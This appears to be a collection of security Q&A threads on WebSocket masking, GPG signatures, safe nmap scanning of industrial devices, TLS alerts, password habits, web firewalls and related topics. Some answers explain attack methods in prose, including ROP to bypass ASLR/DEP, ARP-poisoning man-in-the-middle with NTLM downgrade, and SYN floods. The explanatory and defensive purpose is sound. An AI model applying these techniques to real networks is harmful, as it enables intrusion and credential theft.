So an answer: Put all or part of the resource on a server to control frequency of access.

 * this one for example ;-)


What's the purpose of the MASK in a WebSocket? Reading the Web Socket RFC, at 5.1 it says:

  a client MUST mask all frames that it    sends to the server (see
  Section 5.3 for further details).  (Note    that masking is done
  whether or not the WebSocket Protocol is running    over TLS.)  The
  server MUST close the connection upon receiving a    frame that is not
  masked

but what's the purpose of such mask? If using Wireshark I'm reading the message the client sent without any problem?

The reason for the masking is to make websocket traffic look unlike normal HTTP traffic and become completely unpredictable. Otherwise any network infrastructure equipment which is not yet upgraded to understand the Websocket protocol can mistake it for normal http traffic causing various problems.

This is especially a problem for caching proxy servers and leads to possible attack scenarios. Specifically crafted websocket traffic can cause cache poisoning by tricking the proxy servers into mistaking a part of a websocket communication for a request and response for an unrelated URL, cache it like a legitimate response and send it to other users which request that URL.


GnuPG: Why is my Ed25519 signature 144 bytes long rather than 64? according to https://tools.ietf.org/html/rfc8032
EdDSA uses small public keys (32 or 57 bytes) and signatures (64 or
114 bytes) for Ed25519 and Ed448, respectively;

But if I sign using Ed25519 in GPG, my signature gets 144 bytes long:
$ gpg --list-keys
/c/Users/John/.gnupg/pubring.kbx
------------------------------------
pub   ed25519 2021-02-26 [SC] [expires: 2024-02-26]
      5D36E7C775DD890CC342A38EAA05320C465CBDC8
uid           [ultimate] John Doe
sub   cv25519 2021-02-26 [E] [expires: 2024-02-26]

$ echo "test" | gpg --sign -a --default-key 5D36E7C775DD890CC342A38EAA05320C465CBDC8
gpg: using "5D36E7C775DD890CC342A38EAA05320C465CBDC8" as default secret key for signing
-----BEGIN PGP MESSAGE-----

owGbwMvMwCG2itWIxy1m7wnG09xJDAkW9z1LUotLuDpKWRjEOBhkxRRZYs2eHy+9
28lz2GlxH0wxKxNIJQMXpwBMpLqMkeHRubiENY5d012eXfJuLpnk8byifbVzrkCW
5VrhhcL/LY0YGV5/i3jWzSo4k1Fia6EEo4DZ+X+zD8yfbtP74NchS89NbpwA
=9T7d
-----END PGP MESSAGE-----

the decoded base64 string corresponds to 144bytes. I'd expect 64 bytes. What am I missing?

OpenPGP doesn't produce a raw Ed2519 signature.  It includes additional data about what was signed, the hash that was used to pre-hash the data, the key that was used to sign it, and other information.  For example, if you use gpg --list-packets on the signature file, you get this:
# off=0 ctb=a3 tag=8 hlen=1 plen=0 indeterminate
:compressed packet: algo=1
# off=2 ctb=90 tag=4 hlen=2 plen=13
:onepass_sig packet: keyid AA05320C465CBDC8
        version 3, sigclass 0x00, digest 8, pubkey 22, last=1
# off=17 ctb=cb tag=11 hlen=2 plen=11 new-ctb
:literal data packet:
        mode b (62), created 1614339913, name="",
        raw data: 5 bytes
# off=30 ctb=88 tag=2 hlen=2 plen=117
:signature packet: algo 22, keyid AA05320C465CBDC8
        version 4, created 1614339913, md5len 0, sigclass 0x00
        digest algo 8, begin of digest 7b 76
        hashed subpkt 33 len 21 (issuer fpr v4 5D36E7C775DD890CC342A38EAA05320C465CBDC8)
        hashed subpkt 2 len 4 (sig created 2021-02-26)
        subpkt 16 len 8 (issuer key ID AA05320C465CBDC8)
        data: [256 bits]
        data: [256 bits]

This indicates that there is a compressed packet, a one-pass signature packet (which is used to specify parameters used to allow implementations to compute the signature without seeking), a literal data packet (with the data "test\n"), and a signature packet.  The signature packet indicates that this is a type 0x00 (binary data) signature using hash algorithm 8 (SHA-256) and created by key 5D36E7C775DD890CC342A38EAA05320C465CBDC8.  There are two 256-bit values at the end, which are the Ed25519 signature itself.


Nmap scan for Operational Technology devices I want to scan a range of network with nmap to discover hosts but I know that depending on the scan, it can affect the integrity of OT (Operational Technology) devices, industrial devices like PLCs (Programmable Logic Controllers).

For this, I use the following command:

nmap -sn -n --scan-delay 1s <ip range>

I don't know if in this command these are the parameters that will supply my desired output.

Is there any way to improve it?

Operation Technology, Industrial Control systems (ICS and SCADA), medical devices, embedded devices, and specialized communications systems can be frighteningly fragile, especially considering the degree of trust that is placed in them and the serious consequences that follow when they are brought down. Nmap and other non-standard network software can cause problems, partially because they operate at the edge cases of the RFC standards for TCP/IP, and partially because they are designed to reach out and touch things in ways that system designers have not considered.

With the understanding that every interaction with these systems carries a degree of risk, here are some guidelines on what Nmap options are the most and least likely to cause disruptions, organized by scan phase.

Target enumeration

Often overlooked, this phase is where target addresses are chosen. Usually these are specified directly on the command line, but it can be safer to put your targets in a text file and use -iL to pass them to Nmap. This is especially helpful if your targets are being provided by someone else, as it eliminates the possibility of fat-fingering an address. You can also use --excludefile option to exclude known out-of-scope addresses from your scan.

Host discovery

Nmap sends several different kinds of probes to determine if a target is listening. Most of these are pretty harmless, but when scanning sensitive systems it may be best to explicitly choose your host discovery methods with -P* options. In particular:

switches may have difficulty with large numbers of ARP requests
Nmap's ICMP datagrams are sent without any data by default, which is unusual. Adding --data-length can mitigate this, but it will affect all other packets, leading to more unusual cases like TCP SYN with data.
The default host discovery sends raw TCP SYN and ACK probes to port 443 and 80. Unsolicited ACK (-PA) is not allowed by RFC.

Reverse DNS resolution

Here you don't need to worry. Reverse-DNS is performed between Nmap and your configured DNS servers, and does not result in traffic being sent to the target IP directly. Specifying -n will skip this step for a small speed boost, but it won't have an effect on the target.

Port scanning

Port scanning is problematic. Leaving aside the more esoteric scan options (-sA/W/M/N/F/X) which are explicitly RFC-abusive, simply doing a raw SYN scan can bring down targets which allocate resources for incoming TCP connections that never happen. This is known as a SYN flood. Always make sure that the system you are scanning from will send a TCP RST packet in response to an unsolicited ACK, since Nmap itself does not bother to reset its half-open connections. In some cases, this is still not sufficient, because Nmap's crafted TCP packets are just unusual enough to cause targets to freak out.

TCP Connect scan (-sT) uses the OS's native socket operations to attempt to open connections. This slightly slower method can reduce some of the unusualness of your scan, but at the cost of completing a full TCP connection to each open port, and then immediately closing it. Rob Graham notes that some older Unix-like systems handle reset connections in a way that can cause the service on the port to crash. So consider which part of your target is more fragile: if the OS or TCP stack, then use -sT; if the service or application, then use -sS.

In your question you are using the -sn option, which turns off port scanning. This is, of course, the safest option, but it does not provide any port scan data (duh).

Version detection, OS detection, and NSE script scanning

Here be monsters. Version detection sends a bunch of unsolicited data to target services to elicit unique responses. OS detection does the same thing to the TCP/IP stack. NSE scripts can do either, and in more creative, complicated, and intense ways. While these are some of the most fun and interesting features of Nmap, I recommend strongly against using them on potentially fragile targets in an operational environment.

Traceroute

The --traceroute option is probably pretty safe, simply because it does not send any type of probe that either host discovery or port scan did not already send. The exceptions are:

If you did a TCP Connect scan (-sT), traceroute may still send raw TCP packets, because it needs to manually decrement the TTL field. It prefers to send packets to closed ports, though, to reduce the issues discussed earlier regarding SYN flooding.
Because it decrements the TTL, it will end up sending a probe to the target that arrives with a TTL of 0 or 1. This is an unusual case, and though it is well specified in the RFC, unusual cases are where things break most.

Timing

  Inigo Montoya: But, I promise I will not kill you until you reach the top.

  Man in Black: That's VERY comforting, but I'm afraid you'll just have to wait.

  Inigo Montoya: I hate waiting.

If there's one thing that can be counted on to make a target unresponsive, it's too much traffic. Nmap tends to be better than many scanners in this regard because it reduces speed when it detects packet drops, but sometimes that's not enough. Using the -T2 (2.5 packets per second) or -T1 (4 packets per minute) options can be helpful in these cases, or you can manually tune the values with --scan-delay and --max-rate. In any case, slow it down and get ready to wait.

Other resources

I periodically search Twitter for mentions of Nmap crashing devices, which I retweet with the #KilledByNmap hashtag. There is also a little-maintained list of fragile devices started by some folks at SANS called the Network Scanning Watch List.

Good luck!


What is the meaning of this TLS output: TLSv1.2 (OUT), TLS alert, Client hello (1) I'm downloading a small sample tar file using curl and outputting verbose log to see the details:

curl -v -H 'Connection: close' https://ftp.gnu.org/gnu/gcc/gcc-2.95.1/gcc-objc-2.95.1.tar.gz > /dev/null

And this is the tail of the output once download is finished:

...
...
< X-Content-Type-Options: nosniff
< Connection: close
< Content-Type: application/x-gzip
<
{ [5 bytes data]
100  274k  100  274k    0     0   453k      0 --:--:-- --:--:-- --:--:--  457k
* Closing connection 0
} [5 bytes data]
* TLSv1.2 (OUT), TLS alert, Client hello (1):
} [2 bytes data]

What is the meaning of TLSv1.2 (OUT), TLS alert, Client hello (1) after the connection is closed, is it trying to reconnect?

Is it being sent by the server, or by the client? If by the client then is it being sent by openssl or curl?

I have seen some curl outputs which don't have the string and Closing connection 0 is the last output, what does that mean?

Although it's related to HTTPS = TLS, I'm not sure this is really a security question. OTOH I don't know how to migrate and am not sure where would be better.

  What is the meaning of TLSv1.2 (OUT), TLS alert, Client hello (1) after the connection is closed, is it trying to reconnect?

It's not after closing, it is part of closing, i.e. it is after initiating close. Specifically, the TLS client stack sends an alert record with level=1 (warning) in the first byte and description=0 (close_notify) in the second byte; this is a normal part of a client-initiated TLS close. The callback curl uses to log protocol actions (when requested with -v) lamely decodes all records as handshake records (even though here it correctly identifies the record as an alert record) so it misdecodes the first byte as a handshake message type (1=Client Hello).

  Is it being sent by the server, or by the client? If by the client then is it being sent by openssl or curl?

It is sent by the client (curl is the client and OUT is sending). It is sent by the TLS stack used by curl, which isn't always OpenSSL, although it may be here. Unless you know for sure e.g. because you built it yourself, you can check with curl -V (uppercase vee) which stack your build of curl uses.

  I have seen some curl outputs which don't have the string and Closing connection 0 is the last output, what does that mean?

curl should always log 'Closing connection' if you have specified -v (and not otherwise). It may not log the 'OUT ... alert ... 1' if either it is using a stack without the callback (which AFAIK could be anything other than OpenSSL) OR the server has closed quickly enough (like, immediately) after the end of data so that the client stack doesn't need to and can't notify the server -- or even before the end of data, but that should give an error indicating the data is incomplete. And of course even when curl does issue these outputs, it writes to stderr which in most environments can be redirected or discarded.


Does salting your own password improve security? Let's say you were to add a couple of extra characters to your password, unique to each site you visit. The password would be largely similar except for a few characters of salt, possibly taken from the site's url, name, etc.

Would this improve security? And if so, is it a viable alternative to password managers?

What you are talking about is not a salt, it's just a pattern, and one that is highly predictable. Say, for example that your password on Amazon is p@ssw0rd123amazon and your password on Google is p@ssw0rd123google and your password on some small e-commerce site is p@ssw0rd123*sitename*.

If someone hacks the e-commerce site and posts all the passwords on the internet they are out there for anyone to see. It wouldn't take a genius to recognize your pattern and figure out the password you are using for Amazon and Google as well.

Password patterns never work out that well and not as secure as you'd think. You are better off getting a password manager to generate strong passwords and save them for you, then you don't even have to think about your passwords.


Exploitable URLs list I have a web application which has recently been deployed to AWS.

In the last days, i got random requests to admin urls, like /admin.php, wp-admin.php etc. (obvious they are trying to find exploitable sections)

I want to create a blacklist of IPs accessing those urls.

Is there a list of exploitable URLs, so i capture all the IP addresses trying to access them?

I have searched on google a lot, and i could't find anything too useful.

Have you tried Fail2Ban? One of it's preconfigured filters for Apache is designed to "match web requests for selected URLs that don't exist", and will let you ban offending addresses accordingly.

If memory serves you can customize the bans to expire after a specific amount of time, and kick in after a specific number of violations, so you could set it to block any ip that tries to access /admin.php for 3 days, drastically reducing the viability of random scans while not permanently blocking an IP that might soon belong to a legitimate visitor.

How-to's here or here to help you get started.

The filter I believe you're looking for is called apache-botsearch.conf on my system.


Is it worth verifying the request hostname in API-to-API communications? When authenticating from a browser application to an API layer, you can verify the request origin for CORS requests. I'm aware that this is primarily to prevent CSRF attacks. It doesn't prevent an attacker from accessing the endpoint themselves, but it does prevent the attacker from hijacking an unsuspecting user's browser from hitting the endpoint unknowingly with an AJAX request, when the user is on a domain under the attacker's control.

My question is, is there any benefit in verifying the request origin when implementing an API-to-API communication? For instance, let's say two APIs are built to transact requests between each other, using a shared secret (for simplicity's sake, an API key -- but, depending on access needs, a more advanced approach like OAuth might be applicable). In addition to verifying the API key, should the server also check the request's host to confirm that it originated from a trusted API server? Or is a request host easily spoofable (since the request would be coming from another server with complete control of the headers it sends in the HTTP request) and thus such a check would be pointless?

Verifying the hostname does not provide you with any extra guarantee of authenticity. Assuming that, in addition to using a shared secret, the APIs are able to verify each other's private keys, then you get a pretty strong guarantee that they are who they say they are. Anyone who is able to steal said private keys to fully impersonate one of the hosts will be able to trivially alter the hostname.


What do malware authors using android root exploits go after? I know there has been a lot of discussion on rooting on the internet and even on stack exchange.

What I want to ask here is not how rooting works - assuming the root exploit as a black box, what does the malware author really want to go after on an android device, once a root exploit is used successfully?

I ask in reference to the android architecture - what are their prime targets?

Mobile malware is after the same thing as regular malware it's just on a different platform.

We use our phones to do everything from email, banking, social media, etc.  Security tokens are stored in these devices for all kinds of different applications, and possibly web-sites.  The average user doesn't take mobile security seriously.  Try 3333 or 6666 on a friend's iPhone some time.

Access to email can give more than enough information to start taking over accounts, and could lead to identity theft.  Even if they're not after your identity they can still just be the annoying malicious malware.  Ransom-ware is becoming popular on Android.  Maybe they just want to spam a bunch of ads through your apps.

Nowadays you need to treat your phone like you would your laptop/desktop because they've now become equivalent.


Protect sensitive data in memory Is there a way to protect sensitive data which is in RAM?
Our setup is a microcontroller with no hardware support for security.
When there is a need to encrypt data, then the secret key exists in RAM.
Even further- plain text exists in RAM.
So if anyone can have an access to RAM (e.g. jtag), then the sensitive data is in danger?

TL,DR: There's no way.

  a microcontroller with no hardware support for security.

No hardware support means you need to do all by software, and that means an attacker can use the same software as you. Your data must be decrypted by software, so the attacker can alter your firmware and dump all data, including the keys.

In a microcontroller with security backed by hardware, you can load the keys on a secure enclave, and have this secure component do all the decryption, encryption, and signing. Without hardware support, you cannot protect the keys.

So you have to choose between have security or keep the current microcontroller. You can't have both.


How to know if my android device has been hacked, using Kali Linux? Can we locate files, in android device, using android studio? I'm talking about files which have been uploaded to the device using kali linux - payloads / exploits?

Are they delivered using update features?

It's not so simple and absolute way as you expect! Hackers use (local - remote) exploits to install at least a backdoor on device. The backdoor in most of the cases is an APK (sometimes a binded app).
So here's the way Android AV's scan for exploits (also malwares):

AV have a database of exploit or binded APK signs And other exploit unique signs (like: files on sd, ...)
On every scan you check installed APK sings with your DB (if one of the sings match you detected an exploit)
You should have an analysis team and new exploit discovery strategies, to update your DB regularly.

Important Note:  If your AV have Root access there are many more advanced detection techniques you can implement (Network and packet scanning, ...).


Opened Ports on a Router attack vectors I have read somewhere that it could be dangerous to use unknown networks because the router owner could open ports and attack programs that would run on the victim's system on precisely those ports.

I asked in the named forum (the link is in german) if a firewall would protect me against such types of attacks and received the reply that it would not.

Now I am a bit confused because I asked here on StackExchange what I should take care of in unknown networks and received a reply that I should just take care of my firewall being setup correctly and encrypting my outgoing network traffic.

The router cannot open ports in your computer since the OS is the only responsible to manage it. A software firewall can mitigate some risks, however you are still exposed to the following when connecting to an unknown network:

All traffic not encrypted can be easily sniffed
You are exposed to DNS related attacks being redirected to malicious websites
Man in the middle attacks as well as session hijacking are way easier to be performed
Your computer may become a victim of scans to identify open ports, operating systems and supported protocols which your firewall is not protecting. After that the attacker can try to exploit possible vulnerabilities such as installing back doors. Then even disconnecting from that network won't help you anymore...


How to assess severity/impact of vulnerability In our organization we wanted to review the overall IT landscape and check the most critical applications for vulnerability in phase 1, and then look at lesser critical applications in phase 2... as we embarked on exercise, we realized that certain non-critical applications might be the entry point for critical applications. (so what seemed like a low-impact app built with very little focus; might be entry to critical appln)

Is there an approach we can take, by which we can look at severity of applications through this indirect mode also. Any direction/pointers will be appreciated

ISO/IEC 27001 and 27002 encompass this quite comprehensively. They tend to be non-specific, but thorough. You'll find useful guidelines in the 27000 series generally.

NIST SP800-30 Guide for Conducting Risk Assessments is perhaps more approachable, I recommend you start there. Then check the NIST SP800 series for additional documents, including at least SP800-115 Technical Guide to Information Security Testing and Assessment.

The ISO/IEC standard documents are not free, you can find copious related documents, including for the British standard (on which these are largely based) BS 7799. The NIST SP800 documents are free.

Some of the answers to this related question may also be useful: Looking for an open risk assessment methodology


SegmentSmack exploit I am studying about SegmentSmack vulnerability. As far as I understood, the vulnerability is due to the fact the reordering the packets in the out-of-order buffer is a very CPU intensive operation. So a packet which is extremely out-of-order can exploit the vulnerability.

But I didn't understand what extremely out-of-order means. Does it mean I have to re-arrange the packets such that packets that are supposed to be adjacent are very far from each other? Does that simple operation make a normal stream of packets an exploit?

Basically that techniques tries to test the reordering mechanism in TCP, you can see the problem as a linked list that needs to be in order, so depending on the implementation of the TCP stack this can be a problem or not, also take into account that the IP packets that are part of this list needs to be in memory until the last TCP PUSH Packet that in general is the indicator that the segment is complete. So two problems here, the first related to the implementation of the list and the second a problem related to memory because you need to keep the packets on memory until the PUSH or close the connection happens. Hope it helps to clairfy


Not to apply KPTI on servers that only run trusted code? I have some servers that run applications that use IPC/RPC heavily and are sensitive to the delays of a syscall.

If this server is hardened to only run trusted code (e.g. automated code deployment after code review and change approval and no interactive logon possible), would this be sufficient to disable KPTI for performance reasons.

If you only run fully trusted code on your server which only handles fully trusted data so that only predictable harmless code execution is done then you don't need to have any kind of security on this system - this include KPTI.

If you are not completely sure about the innocence of the code on the system or the data processed by the code then you should add some security. Since all security measures are associated with some costs (performance, maintenance, usability...)  you have to balance the costs against the gains. How this balance looks in your specific case depends a lot on how much do you believe in the innocence of the code and data you process on the system.


Browser based virtual machines How would applying hypervisor (e.g. xen) principles in the development of a web browser offering isolated browser tabs (virtual machines) improve or reduce security of existing web applications (good or badly coded).

A web app in this context would be a tab, with a cross origin policy using a whitelist approach and jailing the tab (unix jails), in a parent window jail which is a writable copy of the core browser. The actual browser itself could be read only and implement a signature check on boot.

Cross origin policy would simply be a manifest file which whitelists allowed resources such as images, javascript, css, fonts etc.

The concept would be to share nothing and closing the browser window would total remove any traces. All tmp files are stored in the jail. This should protect against vulnerabilities in the browser implementation being exploited after a window/tab close.

Theoretically this concept could be expanded to allow for window addons/plugins for things like Tor, making anonominity and privacy available to mainstream users.

Web browsers already try to isolate tabs from each other. Chrome pioneered the principle of "one process per tab" and other browsers followed. This kind of isolation was meant for reliability more than security: when one tab crashes, e.g. because of a bug in a plugin, prevent the whole browser process from dying as well.

Using VM techniques, be they Unix-level jails or even full-blown hypervisors, can help in the case of a tab being subverted: through some security hole, an attacker manages to run his own malicious code in your browser. The VM will then try to contain that attack. Note that the problem has far-reaching consequences: for instance, a Web browser must be able to read local files, in order to support Web sites which ask for upload of a local file. When complete isolation is enforced, functionality is decreased.

If you want complete isolation, see Qubes OS: this is a Linux-based operating system which launches small VM for individual applications (or group of applications) and would allow you to run several browser instances which cannot see each other.

The problem, though, is that you usually don't want complete isolation, and hostile full-process hijacking is rare. Browsers already apply some sort of isolation which does not use hypervisors, but is (usually) effective. Security issues don't come from the breaking out of a tab process, but from the communication channels which are maintained between tabs by the browser in order to implement required functionality. The Same-Origin Policy is an important concept which is part of the issue: the SOP incarnates the security model which the browser enforces, and most security issues with Web browsers are due to the fuzziness with which the SOP boundaries are defined.

To make an analogy, consider a brick wall with a door in it. Using hypervisor technology would be akin to reinforcing the wall and the door frame with steel. This is not bad, but won't help very much if the real problem is that the door is not locked. When trying to enforce isolation between browsing instances, the really hard thing is to define precisely what may be shared and what should not; hypervisors operate at a lower level and are just tools to enforce a policy, but the policy must first be defined.


Gmail connected to work computer On my work computer, I have connected to my personal Gmail account to check my email and go to my drive. At home I use my own personal phone and/or laptop.

Can my employer see what I'm searching and looking at through my phone (never connected to their network) or computer (using my own WiFi), since my Gmail is connected to my work computer?

If you connected to your Google account on your work computer, your employer may know your login credentials. Your employer may employ a TLS proxy, which allows them to inspect TLS secured traffic (e.g. HTTPS traffic). If this is the case, they could also see the contents of emails as they are transferred from Google's servers to your work computer.

However, that does not mean that your employer would actually do that. I'm not a lawyer, so please don't expect legal advice from me, but it is common for employees to sign various policies, especially regarding to what is monitored on their work computer.

In general, you have to expect that an employer can see everything you do on their computer. That doesn't mean they actually do look, just that they can.

As for reading your emails when you are on your home PC, your employer can not read those, even if you have connected to that account previously on your work PC. Theoretically, an employer who knows your credentials can attempt to log into your Gmail account, although that would most likely be illegal in most jurisdictions, and get them in deep trouble. Furthermore, you will likely get a security alert if a new unknown device attempts to log into your Gmail account.

In order to ensure the security of your account, I would advise you not to check your private emails on your work computer and to set up 2FA authentication.


is there a risk in increasing esmtp header line length against rfc5822 - asa/pix question Have a question towards the 998 bytes limitation on the esmtp header line length.
We have noticed the asa is dropping emails coming from various external mail servers with the header line length greater than 998.

Have googled a bit on this issue and found there are various suggestions to remove the rule on the asa or modify the rules to allow these headers through.
For example:-
http://packetsneverlie.blogspot.com.au/2010/09/how-to-bypass-smtp-inspection.html

Question is; will removing or modifying the rule in any way create a security risk that malicious parties can exploit against our mail server?

I have been googling for cases where this has already happened nd documentation as to why this could be a bad idea but found nothing yet. Perhaps a mail security expert could assist?

Thanks in advance,

Jean

This link below could be the answer I'm looking for, please review and comment:-

http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Mail-server-related-injections-Whose-problem/ba-p/6640176

It suggests compliance to rfc2822 (superseded by rfc5822) may save the proverbial:
"Although not mandatory, complying with this guidance may help prevent SMTP header injection."

I could be barking up the wrong tree and would appreciate some opinions on this :-)


SYN Flood from fixed spoof IP but receive only one packet I'm generating a network flood with a lot of packets coming from one fixed IP+port pair (in this example, 1.2.3.4:2003). Why do I only see one SYN_RECV'd packet in netstat on the victim machine?

SYN_RECV is a state of a TCP socket which is identified by an IP+port pair. So all your SYN segments fall into the same socket, as the IP+port pair is fixed in your case.

As you probably don't change sequence and acknowledgment numbers as well, the TCP driver on the victim just treats all those SYN segments as retransmitted.


Using an IPS as an alternative to mod_security I am considering deploying mod_security as an addition to our web infrastructure.  I am worried about the increased load however as these servers get a lot of hits.  I am considering using IPS's such as Snort in line between the web servers and load balancers.

Does Snort's enterprise subscription contain a vast array of rules to filter web attacks such as SQL injection, path injection, command injection, XSS, %00, common attacks against  CMS, etc.  There are several comprehensive mod_sec rulesets out there.  Is webappsec a good use for Snort or is it more for traditional exploits?

TLDR: I want to offload the functionality of mod_security to an external system or web application firewall applicance.  If Snort is not the answer, what is?

Web application firewalls like mod_security have the potential to be more effective than network-based IDSs like Snort, because a web firewall can see the request exactly as it will be handled by the web server, and a network-based IDS cannot.

Network-based systems, like Snort, can only see the network packets.  They have to infer/guess how the web server will interpret them.  This introduces additional possibilities for evasion attacks (ways to conceal an attack).  I'm not saying that mod_security is perfect or immune to evasion attacks, just that evasion attacks pose an even greater challenge for network-based solutions, like Snort.

The advantage of network-based solutions is that in some cases they can be easier to deploy.  If you have a bunch of webservers, you can stick a network-based IDS at a chokepoint in the network, and they protect every webserver behind them, without needing to install and configure mod_security at each one.

That said, none of these approaches provide strong security.  They are a stopgap, a way to mitigate security issues with legacy systems, but they can be defeated and they have many shortcomings.  If you have the option, it is far better to build security into your software (e.g., your web applications) from the start.  IT folks love the idea of IDS, IPS, and web firewalls, because they're easier to deploy -- but I think their benefits are often oversold.  Trying to mitigate vulnerable software after-the-fact with an IDS, IPS, or a web firewall is brittle and prone to failure.


Bypass Full ASLR+DEP exploit mitigation Let's assume that a vulnerabled process is set up with an ASLR and DEP against all the imported modules used in this process and there is no way to find a module that is aslr free..
More over, the process is not used by JIT so JIT Spraying is out of scope as well as the heap is not used to cause a buffer overflow(it's a stack based buffer overflow).

How that scenerio could be defeated?

The text segment which is also called the code segment,  contains the application's static functionality is not randomized by ASLR.  An exploit can jump anywhere into this region of memory reliably,  which permits an attacker to build a chain of ROP gadgets.  The most common goal of a ROP chain is to setup a stable environment to run shell code,  but that is not the only use of ROP.

Additionally,  pwn2own has come up with many other bypasses.  I highly recommend reading the details papers that are published after every pwn2own.  One of my favorite exploits uses a heap overflow to read ASLR'ed memory addresses.


Certificate pinning in a browser I am trying to understand certificate pinning.

Google started adding a whitelist of CA certs that they use for their certificates and if a cert for a google service is issued outside of this list they deny it. That is straightforward.

But say I have a web site https://www.example.com how do I use certificate pinning to improve the security of HTTPS connections to my server? On any browser and not just Chrome. What kind of messages are exactly sent from the server to the client? Does HTTPs support pinning?

There are two things you can do.

The first thing you should look into is HTTP Strict Transport Security (HSTS). It's not pinning, per se, but it allows you to tell a browser to only ever visit your site over HTTPS, to prevent SSL stripping attacks.

As far as cross-browser pinning goes, there's no solid solution. However, there's a draft specification for a pinning header, which is explained briefly here. I have no idea what browser support is like for it, but it may be adopted in future.


How to Man in the Middle Internal AD Traffic A coworker asked me why I thought encrypting internal AD Bind communication was important.  I said because I follow a standard security practice, but couldn't actually articulate how an attacker would grab the credentials over the wire.  Would an attacker have to own a piece of our networking equipment or is there an easier way to listen?

ARP poisoning and IP spoofing are one way to do this with nothing more than a node on the network.

In general, what you end up doing is impersonating the AD server during negotiation.  The technical details probably aren't interesting in this context, but if you pretend to be the AD server, you can do a lot of things.

One of these things might be to pretend to support only NTLM authentication, and thereby invoke a very weak protocol which involves passing a very weak hash that you can crack in a few hours on your laptop, and thereby recover passwords.

You may also be able to exploit a weakness in Kerberos if you happen to have one, as bind authentication can be done using that as well.  The other authentication method you could force would be digest-md5, which is stronger than NTLM, but not by too much.

If you're really good, you can then pass the authentication through to the real AD server, and proceed to proxy (MitM) all the communication between the client and the server for as long as you can keep up the spoof.  Nobody will notice much.  However, Kerberos makes this hard.

So, the long and short of it is, the attacker doing this could possibly recover password hashes, and has the ability to influence them to be very weak.  This can compromise passwords.

The attacker might also be able to sniff (kerberos) authentication happening, though this is harder in switched network segments, and basically impossible with 802.1x.

Kerberos in particular makes this kind of thing fairly hard to accomplish.  For instance, the password is only used to generate a key that is shared between the server and workstation (the server retains the key, changing it only when the password changes), so there isn't really a password to crack.  This key is used to secure communications.  However, the key is symmetric and an attacker could theoretically sniff any of the kerberos data that transits the network, find the key for it, and then find a password that generates this key (honestly though the key is usually enough).  This is hard.  Microsoft has an article including exact details of how all this works, including Kerberos.

If, however, you are binding to AD as though it were LDAP and doing things like resetting passwords or authenticating using the plain method, you should definitely provide an SSL certificate and encrypt your traffic.


Password manager vs password book I have seen a lot of discussion online surrounding whether using password management software is more secure than writing your passwords down on paper and vice versa. However, a lot of this discussion assumes that the user is simply writing down the usernames and passwords in complete plaintext.

How much safer, if at all, is a password manager than paper assuming you obfuscate them in some way? I am slightly skeptical of putting all of my passwords into a piece of software and having that single point of failure that can be accessed through the internet.

There isn't a clean answer to this. It depends on the user. Just a handful of immediate considerations (there are many many more) -

How is the physical book stored? I.e. someone keeping a book in a physical safe in a gated home is a lot safer than the guy carrying around the book saying "passwords" on the front of it in his rucksack.
How secure is the machine the password manager is used on? If untrusted code is running on that machine as the same user theoretically there is nothing stopping it reading the passwords.
Not all password managers are internet based. You can either just store them locally or use a hardware device.
What passwords are used? Someone using a password manager is a lot more likely to user longer randomly generated passwords than someone copying them out of a book.
What does the password protect? I.e. your password being written down in the same physical location as an a machine with an unencrypted disk doesn't really reduce the security from a vaguely technical opponent. Writing the password to an encrypted USB stick on the stick makes it pointless.

Both techniques when used properly can be very secure. With a password manager you gain the ability to additionally have a master password which isn't recorded anywhere. With a password book you gain security from cases where you need to enter a single password on an untrusted machine.


Erasing files and passes - how to understand them? A few months ago, I downloaded Edenwaith Permanent Eraser from the edenwaith website and set it to DoE (3x) in the preferences.

I am using Mac Mini 2011, MacOS Sierra, and use it to delete files and folders via a Finder plug-in.

7-pass would probably be overkill unless it was really sensitive data, but is 3x good?

I have other questions:

How likely is it that a file or folder deleted under DoE 3-pass could be recovered?

When would it make sense to use 7-pass or 35-pass for a file or folder?

Is this a sensible measure to take so far for deletion of data?

I would much appreciate any advice.

Yes, it should be enough

The software you mentioned implements the 3-pass DoE method, which is covered by the answer provided in AndrolGenhald's link.

Recovering data from wiped drives is an old vulnerability which doesn't seem to be exploitable anymore. At least not by your common attacker. Thus a, 3, 7, or 35-pass wipe doesn't really matter.

Note that I'm assuming that you're using modern hard drives and that your threat model is composed of burglars, people looking in dumpsters, etc. Against governmental agencies, I would recommend to start from new hard drives using common encryption method, while physically destroying the old hard drives. However, they would probably look for easier attack vectors first.

When pondering the security of your data, one of the first steps is always to define your threat model. This threat model (partially) depends on the sensitivity of the data you want to protect. Are you a student that doesn't want their roommate to snoop on their laptop? A password should be good. Are you a spy with highly confidential data? Perhaps, then, you'd need to go a step further.

PS: If you have SSDs, I think the erasing process may be trickier. (Could someone confirm?) As a safety precaution I would, once again, recommend you to start from scratch with brand-new hard drives and a use encryption.


encryption and data integrity I'm a bit of mixed up on this subject.
Does asymmetric encryption like in RSA, ensure message integrity without hashing the message with an HMAC, nothing else is required, or is hashing necessary only when utilizing symmetric encryption?

No, RSA by itself definitely does not ensure integrity. (i.e. it's malleable.)

If the ciphertext c = me (mod n) is modified to c1 = c * t (multiplication), where t = xe, then the decryption of c1 will be

c1d = (c t)d = (me xe)d = ((mx)e)d = mx  (mod n)

so the original message got multiplied with a number controlled by the attacker.

A robust system will use something like OAEP padding with RSA to protect against that. Also see here.


How do I scan for and discover active IPv6 addresses of devices behind a router? Usually with IPv4 and NAT you can only access a device behind a router if the router is port-forwarded correctly or is the router's DMZ. When behind the router you can easily scan for the IPs behind the router, usually in the 192.168.0.1/24 or 10.0.0.1/24 subnets.

I was just wondering if it is possible to find the IPv6 addresses associated with these devices behind the router.

I know you can access the router and view these IPv6 addresses, but is there another way to scan for and discover the IPv6 addresses of all the devices behind the router?

You can't, as there are too many addresses to scan for. Typically a residential ISP will assign a /64 subnet per customer, which means there are 18446744073709551616 possible addresses behind that router. That is a lot of IPs to scan.

Also, the fact that IPv6 addresses are publicly routable doesn't mean the router can't get in the way and firewall off your scanning attempts. While most consumer-grade routers are crap and don't support that, it is quite easy to configure with any decent Linux distribution. I assume business-grade routers such as Cisco also support it.


